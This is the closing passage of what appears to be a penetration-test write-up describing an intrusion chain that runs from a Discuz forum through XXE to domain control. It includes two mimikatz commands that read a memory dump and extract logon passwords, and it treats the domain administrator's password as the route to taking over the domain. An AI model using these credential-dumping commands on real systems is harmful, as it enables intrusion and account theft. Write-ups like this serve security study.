mimikatz # sekurlsa::minidump 1.bin
mimikatz # sekurlsa::logonPasswords full



At this point, it is really going to end. With the account password of the domain administrator, how to get the domain control, I believe this needless to say.

0x04 summary

Let’s review, from discuz to xxe, from xxe to domain control, we did not spend much time in the actual penetration process. Regarding this infiltration, we have gained a lot, and I hope you too.

Discuz is not invulnerable, don’t be afraid, it may be your breakthrough.



There are no reviews yet.

Be the first to review “Discuz:A “different” real penetration test case analysis”

Your email address will not be published. Required fields are marked *